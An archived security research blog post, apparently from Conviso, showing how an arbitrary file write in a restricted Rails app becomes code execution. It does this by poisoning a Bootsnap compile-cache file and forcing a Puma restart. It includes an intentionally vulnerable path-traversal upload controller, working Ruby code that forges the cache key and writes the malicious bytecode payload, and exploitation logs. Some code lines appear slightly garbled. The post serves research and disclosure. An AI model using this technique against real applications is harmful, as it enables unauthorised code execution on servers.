

From Arbitrary File Write to RCE in Restricted Rails apps

From Arbitrary File Write to RCE in Restricted Rails apps - Research Team Conviso, @conviso, Conviso AppSec.

- Published: 2024-12-23
- Original: <<https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/>>
- Current location: <<https://blog.convisoappsec.com/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/>>
- Preserved from: <https://blog.convisoappsec.com/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content (original)

The source's own words. An English translation of this document is archived beside it as `2024-conviso-appsec-arbitrary-file-write-rce-restricted-rails-apps_translate.md`.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Introduction

Recently, we came across a situation where we needed to exploit an arbitrary file write vulnerability in a Rails application running in a restricted environment. The application was deployed via a Dockerfile that imposed restrictions on the directories that could be written to.

In this blog post we describe a technique that can be used to achieve remote code execution (RCE) from an arbitrary file write vulnerability by abusing the cache mechanism of Bootsnap, a caching library used in Rails since version 5.2.

The Vulnerability

The vulnerability was a standard arbitrary file write, which can be demonstrated by the following vulnerable code:

```

class VulnerableController < ApplicationController
  def upload
    uploaded_file = params[:file]
    filename = params[:filename].presence || uploaded_file.original_filename

    save_uploaded_file(uploaded_file, filename)
    render json: { status: "File uploaded successfully!", filename: filename }
  rescue => e
    render json: { error: e.message }, status: :unprocessable_entity
  end

  private

  def save_uploaded_file(uploaded_file, filename)
    upload_path = Rails.root.join("tmp", "uploads")
    FileUtils.mkdir_p(upload_path)

    # Save the file to the upload directory
    File.open(File.join(upload_path, filename), 'wb') do |file|
      file.write(uploaded_file.read)
    end
  end
end

```

In this sample code we can see that the user has complete control over the file path (via path traversal) and file content, which would allow them to write a file anywhere in the system.

Restrictions

Despite having a pretty strong exploit primitive, the attack was not so trivial because this application had some restrictions regarding the directories that we were allowed to write. This was because it was deployed with the default production Dockerfile that is now generated automatically when creating a new app (`rails new`) with Rails since version 7.1. [1]

Relevant parts of the Dockerfile can be seen below:

(...)

Make sure RUBY_VERSION matches the Ruby version in .ruby-version

ARG RUBY_VERSION=3.2.2

FROM docker.io/library/ruby:\$RUBY_VERSION-slim AS base

Rails app lives here

WORKDIR /rails

(...)

Install application gems

COPY Gemfile Gemfile.lock ./

RUN bundle install && \

rm -rf ~/.bundle/ "\${BUNDLE_PATH}"/ruby/*/cache "\${BUNDLE_PATH}"/ruby*/bundler/gems/*/.git && \

bundle exec bootsnap precompile --gemfile

Copy application code

COPY . .

Precompile bootsnap code for faster boot times

RUN bundle exec bootsnap precompile app/ lib/

(...)

Run and own only the runtime files as a non-root user for security

RUN groupadd --system --gid 1000 rails && \

useradd rails --uid 1000 --gid 1000 --create-home --shell /bin/bash && \

chown -R rails:rails db log storage tmp

USER 1000:1000

Entrypoint prepares the database.

ENTRYPOINT ["/rails/bin/docker-entrypoint"]

Start the server by default, this can be overwritten at runtime

EXPOSE 3000

CMD ["/bin/rails", "server"]

At the bottom we can see that it creates a non-root user to run the application, and this user is the owner of only these directories: **db**, **log**, **storage**, **tmp** and **/home/rails**. So in short, this restricts the places we can write to, because other interesting files are owned by the root user. Besides these directories, we can still write to some other locations such as **/tmp** (owned by root but with write permission to everyone), some files at **/proc/PID/fd/**, etc.

Our Approach: Exploit Through Bootsnap

We then replicated the app environment using Rails 7.2.1.2 to begin an exploitation attempt. By looking at the entries in those directories, one thing caught our attention: bootsnap [2] cache files inside **tmp**.

Inside **tmp/cache/bootsnap** we saw the directory structure used by the library for cache files.

[image: image]

We noticed a **load-path-cache** file containing gem file paths, that we later discovered was in MessagePack format.

[image: image]

And finally a lot of compiled Ruby, JSON and YAML files inside the **compile-cache-*** directories, following a specific directory structure. The compiled Ruby files stood out to us at first glance.

```
rails@8379ee4940a2:/rails/tmp/cache/bootsnap$ ls compile-cache-iseq/
06 06 0c 12 18 1a 24 2a 30 36 3c 42 48 4e 54 5a 60 66 6c 72 78 7e 84 8a 90 96 9c a2 a8 ae b4 ba c0 c6 cc d2 d8 de e4 ea f0 f6 fc
01 07 0d 13 19 1f 25 2b 31 37 3d 43 49 4f 55 5b 61 67 6d 73 79 7f 85 8b 91 97 9d a3 a9 af b5 bb c1 c7 cd d3 d9 df e5 eb f1 f7 fd
02 08 0e 14 1a 20 26 2c 32 38 3e 44 4a 50 56 5c 62 68 6e 74 7a 80 86 8c 92 98 9e aa ab b0 b6 bc c2 c8 ca d4 da e0 e6 ec f2 f8 fe
03 09 0f 15 1b 21 27 2d 33 39 3f 45 4b 51 57 5d 63 69 6f 75 7b 81 87 8d 93 99 9f a5 ab b1 b7 bd c3 c9 cf d5 db e1 e7 ed f3 f9 ff
04 0a 10 16 1c 22 28 2e 34 3a 40 46 4c 52 58 5e 64 6a 70 76 7c 82 88 8e 94 9a a0 a6 ac b2 b8 be c4 ca d0 d6 dc e2 e8 ee f4 fa
05 0b 11 17 1d 23 29 2f 35 3b 41 47 4d 53 59 5f 65 6b 71 77 7d 83 89 8f 95 9b a1 a7 ad b3 b9 bf c5 cb d1 d7 dd e3 e9 ef f5 fb

rails@8379ee4940a2:/rails/tmp/cache/bootsnap$ ls compile-cache-iseq/00/
14b26ca3692d77 3760c9927a67cd 37e90cf2bfbae9 4b9de598eeb466 6643f756162650 7c60915ff382ff 8bab6c3dfbea52 ac0a42f03c0360 c9100cc942d207 e1fd1a6a5379b5 f664ed57f8d86a
1b46e6b5b2dd56 3788c314164310 4236ad486f7cb2 5dea1e3a200602 77a0b6adac0f60 82cf4927cc071e ab679dc17bd701 bf9cc53aefab75 dfe7a2b1e21386 e8460937f06f7e

rails@8379ee4940a2:/rails/tmp/cache/bootsnap$ cat compile-cache-iseq/00/14b26ca3692d77
e1R9eeePeene -eeeeeepK*(wsYARBxx86_64-linuxx)'gGX' gGX'
gGX' gGX' gGX' gGX' gGX' gGX'

319K*****
))))))eHleOoes1;;*****);#_e=C*****
;+Ie+ *****#y***** 95eAe+
<main>Enodes/nodeEnodes/streamEnodes/documentEnodes/sequenceEnodes/scalarEnodes/mappingEnodes/alias 5 *****Ae+ EQ/usr/local/lib/ruby/3.2.0/psych/nodes.rbE
PsychIrequire_relativeE<module:Psych>
NodesE<module:Nodes> 6DXh*****rails@8379ee4940a2:/rails/tmp/cache/bootsnap$
```

To better understand all this, we took a look at the documentation and source code of Bootsnap v 1.18.4 [2]. What happens when a Rails app calls bootsnap during startup can be seen in the summary below:

Bootsnap Actions During Rails App Startup (Step-by-Step)

1. Initialization

- Bootsnap is loaded in **config/boot.rb** during app startup.
- It uses **Rails.root/tmp/cache** as cache dir by default.

2. Overriding require and load

- Patches **Kernel#require** and **Kernel#load**.
- Prioritizes its cache for file resolution, falling back to Ruby's **LOAD_PATH** traversal if needed.

3. Load Path Caching

- Bootsnap builds or updates a cache of resolved paths for files in **LOAD_PATH** ***(load-path-cache*** file).
- The cache stores the mapping of requirefile names (e.g., **active_record/railtie**) to their **absolute paths** (e.g., **/path/to/your/gems/.../active_record/railtie.rb**), enabling faster lookups.
- On every **require** or **load**, Bootsnap checks the cache first:

- **Cache Hit:** Returns the resolved path immediately.
- **Cache Miss:** Falls back to Ruby's default **LOAD_PATH** traversal.

4. Compile Cache

- Bootsnap caches compiled Ruby bytecode (***.rb**), YAML (***.yml**), and JSON (***.json**) files:
- **Ruby Files:** Uses **RubyVM::InstructionSequence** to pre-compile bytecode.
- **YAML and JSON Files:** Caches serialized data for faster reuse.
- Cached files are stored in the cache dir, keyed by a FNV-1a 64 bits hash. For example, the cache file for **/path/to/your/gems/.../active_record/railtie.rb** would be stored at a file with path similar to **tmp/cache/bootsnap/compile-cache-iseq/00/0f2931ea350b70** (fake hash value here just for visualization).
- Automatically invalidates cache entries when files are updated.

Cache file format

A cache file consists of two parts, the first part is the header (struct **bs_cache_key**) [5] and the second part is the compiled content of the original file that was cached.

The image below shows a hexdump output of a cache file and the mapping of values in the struct **bs_cache_key***.

00000000	06 00 00 00	88 31 52 39	a7 f6 84 50	e8 f2 e3 6e	1R9...P...n	<pre> struct bs_cache_key { uint32_t version; uint32_t ruby_platform; uint32_t compile_option; uint32_t ruby_revision; uint64_t size; uint64_t mtime; uint64_t data_size; // uint64_t digest; uint8_t digest_set; uint8_t pad[15]; } __attribute__((packed)); </pre>
00000010	40 65 00 00	00 00 00 00	35 6d 25 64	00 00 00 00	@e.....5m%d...	
00000020	70 01 00 00	00 00 00 00	69 7a 00 00	00 00 00 00	p.....iz.....	
00000030	01 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00		
00000040	59 41 52 42	03 00 00 00	02 00 00 00	70 01 00 00	YARB.....p...	
00000050	00 00 00 00	01 00 00 00	07 00 00 00	b4 00 00 00		
00000060	54 01 00 00	78 38 36 5f	36 34 2d 6c	69 6e 75 78	T...x86_64-linux	
00000070	00 25 27 05	67 47 25 27	07 67 47 25	2b 09 67 79	.%.gG%.gG%+.gy	
00000080	03 01 03 03	01 01 05 03	03 05 03 01	07 09 03 07		
00000090	0b 01 07 09	01 07 00 ff	ff ff ff ff	ff ff ff 01		
000000a0	01 03 0b 03	0b 03 05 05	0b 29 03 01	0b 29 03 01	)...)..	
000000b0	0d 29 03 01	01 01 25 89	1f 01 01 01	01 01 01 01	.)...%.....	
000000c0	01 6b 01 03	03 03 03 11	03 01 07 51	6b 2b 11 1b	.k.....Qk+..	
000000d0	01 1b 00 ff	ff ff ff ff	ff ff 01 00	ff ff ff ff		
000000e0	ff ff ff ff	ff 1b 03 01	01 01 01 01	01 07 05 01		
000000f0	01 00 00 00	75 00 00 00	f1 09 00 00	45 05 15 3c	...u.....E.<	
00000100	63 6f 6d 70	69 6c 65 64	3e 00 00 00	45 03 29 69	compiled>...E.)i	
00000110	64 20 3e 20	2f 70 72 6f	63 2f 73 65	6c 66 2f 66	d > /proc/self/f	
00000120	64 2f 32 00	45 03 7b 72	6d 20 2d 66	20 74 6d 70	d/2.E.{rm -f tmp	
00000130	2f 63 61 63	68 65 2f 62	6f 6f 74 73	6e 61 70 2f	/cache/bootsnap/	
00000140	63 6f 6d 70	69 6c 65 2d	63 61 63 68	65 2d 69 73	compile-cache-is	
00000150	65 71 2f 33	37 2f 34 34	32 34 61 35	63 36 31 37	eq/37/4424a5c617	
00000160	66 36 65 63	45 03 41 2f	75 73 72 2f	6c 6f 63 61	f6ecE.A/usr/loca	
00000170	6c 2f 6c 69	62 2f 72 75	62 79 2f 33	2e 32 2e 30	l/lib/ruby/3.2.0	
00000180	2f 73 65 74	2e 72 62 00	14 05 03 60	14 05 09 6c	/set.rb....`...l	
00000190	6f 61 64 00	b8 00 00 00	bc 00 00 00	cc 00 00 00	oad.....	
000001a0	e4 00 00 00	24 01 00 00	48 01 00 00	4c 01 00 00	\$.H...L...	
000001b0						

Bootsnap uses most of these fields in a cache validation, as we can see in the code below [6]:

File: `ext/bootsnap/bootsnap.c`

```
static enum cache_status cache_key_equal_fast_path(struct bs_cache_key *k1,
                                                  struct bs_cache_key *k2) {
    if (k1->version == k2->version &&
        k1->ruby_platform == k2->ruby_platform &&
        k1->compile_option == k2->compile_option &&
        k1->ruby_revision == k2->ruby_revision && k1->size == k2->size) {
        if (k1->mtime == k2->mtime) {
            return hit;
        }
        if (revalidation) {
            return stale;
        }
    }
    return miss;
}
```

The list below describes the relevant fields:

- **version:** The cache format version, ensuring compatibility with the current version of Bootsnap.
- **ruby_platform:** Hash of the platform Ruby is running on (e.g., **x86_64-linux**).
- **compile_option:** CRC32 of compilation options used when compiling Ruby files (e.g., optimization flags).
- **ruby_revision:** Hash of the specific revision of Ruby (e.g., a git commit hash).
- **size:** The size of the original file.
- ****mtime:** **The last modification time of the original file.

With this information in mind, we came up with a plan to achieve RCE by overwriting a cache file.

Exploitation

Our plan was to pick one file that was likely required by the Rails app, overwrite its cached version and trigger an app restart. The reasoning was that when the app requires the target file during startup, it will load our malicious cache, allowing us to achieve RCE.

Overwriting the cache file

We chose to overwrite the cache file for **set.rb** from the Ruby standard library. It could have been another file as well, but preferably one that would likely be executed by Rails itself, the app, or one of its libraries.

We get the information to fill the cache key inside the docker container. As seen in the Dockerfile, Ruby version is 3.2.2, so the location of the **set.rb** file is **/usr/local/lib/ruby/3.2.0/set.rb**. By executing the following Ruby code in the docker container, we easily get the information we need:

```
require 'json'

def get_info(pattern)
  path = Dir.glob(pattern).first
  json = {
    version: RUBY_VERSION,
    require_target: path,
    revision: RUBY_REVISION,
    size: File.size(path),
    mtime: File.mtime(path).to_i,
    compile_option: RubyVM::InstructionSequence.compile_option.inspect
  }
  JSON.dump(json)
end

puts get_info("/usr/local/lib/ruby/*/set.rb")
```

```
{
  "version": "3.2.2",
  "require_target": "/usr/local/lib/ruby/3.2.0/set.rb",
  "revision": "e51014f9c05aa65cbf203442d37fef7c12390015",
  "size": 25920,
  "mtime": 1680174389,
  "compile_option": "{:inline_const_cache=>true, :peephole_optimization=>true, :tailcall_optimization=>false, :specialize"
}
```

Consider this is the value of the ***ruby_info*** variable we will from now on.

With this, we could prepare the malicious cache file. First we needed to calculate the correct location for the cache file by replicating the hashing mechanism of Bootsnap [3].

```

def fnv1a_64(data)
  # FNV-1a 64-bit hash function for a given string
  h = 0xcbf29ce484222325
  data.each_byte do |byte|
    h ^= byte
    h = (h * 0x100000001b3) & 0xFFFFFFFFFFFFFFFF # Keep it within 64 bits
  end
  h
end

def bs_cache_path(cachedir, path)
  # Generate cache path based on FNV-1a hash
  hash_value = fnv1a_64(path)
  first_byte = (hash_value >> (64 - 8)) & 0xFF
  remainder = hash_value & 0x00FFFFFFFFFFFFFF
  File.join(cachedir, "%02x" % first_byte, "%014x" % remainder)
end

cachedir = "tmp/cache/bootsnap/compile-cache-iseq"
cache_path = bs_cache_path(cachedir, ruby_info[:require_target])
puts "Cache path: #{cache_path}"

```

```
Cache path: tmp/cache/bootsnap/compile-cache-iseq/37/4424a5c617f6ec
```

After that we prepare the content of the cache file by concatenating the cache key with the compiled version of the Ruby code we want to execute:


```

def generate_evil_cache(cache_path, ruby_info)
  require_target = ruby_info[:require_target]
  payload = <<~PAYLOAD
  `id > >&2`
  `rm -f #{cache_path}`
  load("#{require_target}")
  PAYLOAD

  compiled_binary = RubyVM::InstructionSequence.compile(payload).to_binary

  cache_key = generate_cache_key(ruby_info, compiled_binary.size)

  malicious_path = '/tmp/output_file.bin'
  write_binary_file(malicious_path, cache_key, compiled_binary)

  puts "File written to #{malicious_path}"
  malicious_path
end

def hash_32(data)
  fnv1a_64(data) >> 32
end

def generate_cache_key(ruby_info, data_size)
  {
    version:      6, # for v1.18.4. Depends on bootsnap version
    ruby_platform: hash_32("x86_64-linux"),
    compile_option: Zlib.crc32(ruby_info[:compile_option]),
    ruby_revision: hash_32(ruby_info[:revision]),
    size:         ruby_info[:size],
    mtime:         ruby_info[:mtime],
    data_size:     data_size,
    digest:        31337,
    digest_set:    1,
    pad:           "\0" * 15
  }
end

def write_binary_file(path, cache_key, binary_data)
  File.open(path, 'wb') do |file|
    file.write(pack_cache_key(cache_key))
    file.write(binary_data)
  end
end

```

```

end

def pack_cache_key(cache_key)
  [
    cache_key[:version],
    cache_key[:ruby_platform],
    cache_key[:compile_option],
    cache_key[:ruby_revision],
    cache_key[:size],
    cache_key[:mtime],
    cache_key[:data_size],
    cache_key[:digest],
    cache_key[:digest_set],
    *cache_key[:pad]
  ].pack('L4Q4C1a15')
end

evil_cache = generate_evil_cache(cache_path, ruby_info)

```

In the code you can see that the first 64 bytes of the file is composed by the cache key, filled with the information we got before, followed by the compiled malicious Ruby code. Note that we used **version** with value 6 because that is the correct value for Bootsnap v1.18.4 [7].

The payload first executes the command `id` and redirects its output to *stderr*. This redirection is just to exhibit the command's output in the Puma server logs for visualization. Then to avoid infinite recursion we remove our malicious cache and load the original **set.rb** file, so the Set library will be loaded successfully preventing an application crash.

With the path and content in hand, we use the vulnerability to write our cache file.

Restarting the app

To restart the server we abuse the vulnerability to write anything at **tmp/restart.txt**. This is a feature of the Puma server [4] and will cause a restart.

RCE

During the server restart, our cache file is executed when a `require 'set'` statement is run.

Running the exploit

[image: image]

Checking the log of the Rails app

```

I, [2024-12-05T18:37:22.953860 #1] INFO -- : [d82991d6-f0b6-4523-8158-9e11c032a8cd] Started GET "/upload_form" for 172.17.0.1 at 2024-12-05 18:37:22 +0000
I, [2024-12-05T18:37:22.955010 #1] INFO -- : [d82991d6-f0b6-4523-8158-9e11c032a8cd] Processing by VulnerableController#new as */*
I, [2024-12-05T18:37:22.972530 #1] INFO -- : [d82991d6-f0b6-4523-8158-9e11c032a8cd] Rendered layouts/application.html.erb (Duration: 11.6ms | GC: 0.0ms)
I, [2024-12-05T18:37:22.972934 #1] INFO -- : [d82991d6-f0b6-4523-8158-9e11c032a8cd] Completed 200 OK in 18ms (Views: 12.6ms | ActiveRecord: 0.0ms (0 queries, 0 cached) | GC: 0.0ms)
I, [2024-12-05T18:37:22.983688 #1] INFO -- : [719b7337-ead2-492c-a3e1-084994326142] Started POST "/upload" for 172.17.0.1 at 2024-12-05 18:37:22 +0000
I, [2024-12-05T18:37:22.985968 #1] INFO -- : [719b7337-ead2-492c-a3e1-084994326142] Processing by VulnerableController#upload as JSON
I, [2024-12-05T18:37:22.986131 #1] INFO -- : [719b7337-ead2-492c-a3e1-084994326142] Parameters: {"authenticity_token"=>"[FILTERED]", "file"=>{"#<ActionDispatch::Http::UploadedFile:0x000073dfc1602a88 @tempfile=#<Tempfile:/tmp/RackMultiPart20241205-1-1k1k9ds, @content_type='application/octet-stream', @original_filename='20241205-13479-w0wofb', @header={:Content-Disposition=>form-data, :name=>'file', :filename=>'20241205-13479-w0wofb'\\r\\nContent-Type: application/octet-stream\\r\\n>,"filename"=>"../tmp/cache/bootsnap/comp-ile-cache-iseq/37/4424a5c617f6ec"}
I, [2024-12-05T18:37:22.995789 #1] INFO -- : [719b7337-ead2-492c-a3e1-084994326142] Completed 200 OK in 10ms (Views: 6.8ms | ActiveRecord: 0.0ms (0 queries, 0 cached) | GC: 0.0ms)
I, [2024-12-05T18:37:23.015527 #1] INFO -- : [c054711a-d8b0-4ab6-90ea-d173ec2345f5] Started POST "/upload" for 172.17.0.1 at 2024-12-05 18:37:23 +0000
I, [2024-12-05T18:37:23.016166 #1] INFO -- : [c054711a-d8b0-4ab6-90ea-d173ec2345f5] Processing by VulnerableController#upload as JSON
I, [2024-12-05T18:37:23.016253 #1] INFO -- : [c054711a-d8b0-4ab6-90ea-d173ec2345f5] Parameters: {"authenticity_token"=>"[FILTERED]", "file"=>{"#<ActionDispatch::Http::UploadedFile:0x000073dfc15c8c20 @tempfile=#<Tempfile:/tmp/RackMultiPart20241205-1-aw6jwk>, @content_type='application/octet-stream', @original_filename='20241205-13479-uirwsx', @header={:Content-Disposition=>form-data, :name=>'file', :filename=>'20241205-13479-uirwsx'\\r\\nContent-Type: application/octet-stream\\r\\n>,"filename"=>"../tmp/restart.txt"}
I, [2024-12-05T18:37:23.017600 #1] INFO -- : [c054711a-d8b0-4ab6-90ea-d173ec2345f5] Completed 200 OK in 1ms (Views: 0.1ms | ActiveRecord: 0.0ms (0 queries, 0 cached) | GC: 0.0ms)
* Restarting...
uid=1000(rails) gid=1000(rails) groups=1000(rails)
=> Booting Puma
=> Rails 7.2.1.2 application starting in production
=> Run 'bin/rails server --help' for more startup options

```

In the picture we can see the two file uploads, followed by a restart and then the output of the `id` command executed.

The vulnerable app sample, along with the accompanying exploit, can be found at: https://github.com/convisolabs/rails_arb_file_write_bootsnap

Exploitation Possibilities

The white-box exploitation using this technique is easy because we have access to all the necessary information. In a way, the black-box exploitation is also straightforward, as many fields have limited possibilities for values and can be tested using a brute force approach.

The cache key format and validation seem consistent in previous versions of Bootsnap. However, keep in mind that if the target is using a much older version, it could be different.

Let's discuss about the relevant fields in a cache key:

- **version:** This depends on the Bootsnap version, but a value from 3 to 6 should cover the most recent ones (latest version is v1.18.4 [7]).
- **ruby_platform:** This will likely be **x86_64-linux** for most cases.
- **compile_option:** This doesn't seem to change much.
- **ruby_revision:** This changes with the Ruby version, but you can generate a database with values for each Ruby version you want to try.
- **size/mtime:** These depend on the chosen target file, but you can generate a database for each Ruby version as well.

Also, the path of the original file (e.g. **/usr/local/lib/ruby/3.2.0/set.rb**) is something that changes with the Ruby version and could be extracted from a database.

For an example of how to generate a database, see the scripts at the repository:

https://github.com/convisolabs/rails_arb_file_write_bootsnap.

Conclusion

In this post we presented an exploitation technique for arbitrary file write vulnerabilities in Rails apps where there is some limitation of the directories where the attacker can write. The technique

abuses the Bootsnap library, used by default in recent Rails apps. By overwriting its cache files with malicious content, it becomes possible to achieve arbitrary code execution.

Some possible future work includes better optimization to eliminate the need for any restarts or reduce brute forcing when exploiting in a black-box scenario. Also, one could explore other files to overwrite or try to go for an approach where the exploitation occurs exclusively via */proc/PID/fd* files, as shown in this great post [8] from Stefan Schiller.

References

- <https://rubyonrails.org/2023/10/5/Rails-7-1-0-has-been-released>
- <https://github.com/Shopify/bootsnap/tree/v1.18.4>
- <https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L297>
- https://github.com/puma/puma/blob/v6.4.3/lib/puma/plugin/tmp_restart.rb
- <https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L61>
- <https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L315>
- <https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L85>
- <https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/>

Archived from <https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/>. Rendered offline from the local Markdown copy.